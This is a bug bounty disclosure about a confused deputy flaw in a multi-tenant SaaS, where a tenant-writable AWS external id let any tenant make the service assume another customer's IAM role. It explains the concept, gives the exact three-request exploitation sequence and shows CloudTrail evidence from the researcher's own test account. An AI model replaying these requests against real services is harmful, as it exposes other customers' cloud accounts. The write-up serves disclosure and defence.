confused-deputy-externalid.md

confused deputy via a customer-writable aws externalid

======================================================
june 2026 · confused deputy · aws iam · cwe-610 · h1

a private h1 program (i'll call it orgxyz) runs a multi-tenant saas that assumes an iam role inside each customer's aws account. the aws sts:ExternalId is what stops it assuming the wrong customer's role. it was a field the tenant could write.

program name, hostnames, aws account ids and source ips redacted. endpoint paths and field names paraphrased. the request shapes and the cloudtrail evidence are real.

what is a confused deputy
-------------------------

a program that holds some authority and can be talked into using it on someone else's behalf. the attacker has no access to the target. the deputy does. so the attacker stops attacking the target and starts asking the deputy nicely.

ATTACKER no access to the target at all THE DEPUTY holds the authority and is trusted TARGET trusts the deputy, never sees the attacker 1 2 1. the attacker asks the deputy to do something 2. the deputy does it, using its OWN privileges, not the attacker's the target sees a legitimate request from someone it trusts. nothing in that request says who actually asked for it.

ssrf and csrf are the same pattern. so is a saas assuming a role in your cloud.

confused deputy vs. an authorization bug
----------------------------------------

they fail differently, so you hunt them differently.

                  authorization bug           confused deputy
----------------  --------------------------  --------------------------
the defect        a check is missing          no check is missing
who acts          the attacker, directly      the deputy, on request
the target sees   a caller it should reject   a caller it rightly trusts
you find it by    enumerating objects,        finding the value that
                  watching for a 403 that     carries intent, then
                  never comes                 asking who can write it
the fix           add the check               bind the action to the
                                              party that asked for it

every check orgxyz performs passes. the deputy is authorized, the action is one it may perform, and the customer's trust in it is deliberate. what is missing is provenance.

how i found it and verified it
------------------------------

i had a plain authenticated tenant on the sandbox, nothing privileged. walking the api object by object, the tenant object came back carrying a security control i could read, so i tried writing to it:

GET /api/tenants/83
→ {"id":83,"awsExternalId":"dyYg••••••", ... }   # a control, in my object

PUT /api/tenants/83   { ... ,"awsExternalId":"h1poc-EXTID-7G9k", ... }
→ HTTP/1.1 200

GET /api/tenants/83                       # re-read, don't trust the echo
→ {"id":83,"awsExternalId":"h1poc-EXTID-7G9k", ... }

a writable field isn't a demonstrated breach, so i built a victim: a throwaway aws account with a role configured the way orgxyz's onboarding docs tell customers to configure theirs, requiring the external id i'd just written into my own tenant.

1 set your own tenant's external id to a value you choose PUT /api/tenants/83 {"awsExternalId":"h1poc-EXTID-7G9k"} 2 register the victim's role arn as a credential POST /api/credentials/aws {"type":"ROLE","roleArn":"arn:aws:iam::<victim>:role/..."} 3 ask the control plane to go use that credential POST /api/cloud/aws/vpcs {"credentialId":"9abbd4fd-••••","region":"us-east-1"} 4 it assumes the victim's role, presenting YOUR external id the victim's trust policy matches, so the assume succeeds their vpc inventory comes back to you, through orgxyz
POST /api/credentials/aws
  {"type":"ROLE","roleArn":"arn:aws:iam::<my-test-acct>:role/victim-sim"}
→ {"id":"9abbd4fd-••••", ... }        # no external id in the body

POST /api/cloud/aws/vpcs
  {"credentialId":"9abbd4fd-••••","region":"us-east-1"}
→ [{"vpcId":"vpc-0e9b123bc6497cfc6","ownerId":"<my-test-acct>", ... }]

i owned the target account, so i confirmed it from the victim's own cloudtrail rather than from a 200:

eventTime        : 2026-06-17T12:47:43Z
eventName        : AssumeRole
callerAwsAccount : <orgxyz-acct>            # the saas control plane
roleArn          : arn:aws:iam::<my-test-acct>:role/victim-sim
externalId       : h1poc-EXTID-7G9k         # the value i chose in step 1
errorCode        : (none). the assume SUCCEEDED
root cause
----------

orgxyz has one aws account, and every customer's role trusts that same account. the trust principal is identical in all of them, so the external id is the only thing telling customers apart. aws's guidance is explicit that the third party must generate it and the customer must never be allowed to specify it.

orgxyz read it straight from a tenant-writable field. the control wasn't weak. it wasn't there.

impact
------

any authenticated tenant could make orgxyz assume any iam role that trusts its account, presenting any required external id, and read the victim's cloud back through orgxyz. the role arn and external id aren't secrets; aws says so. onboarding roles usually carry write.

timeline
--------

cd ..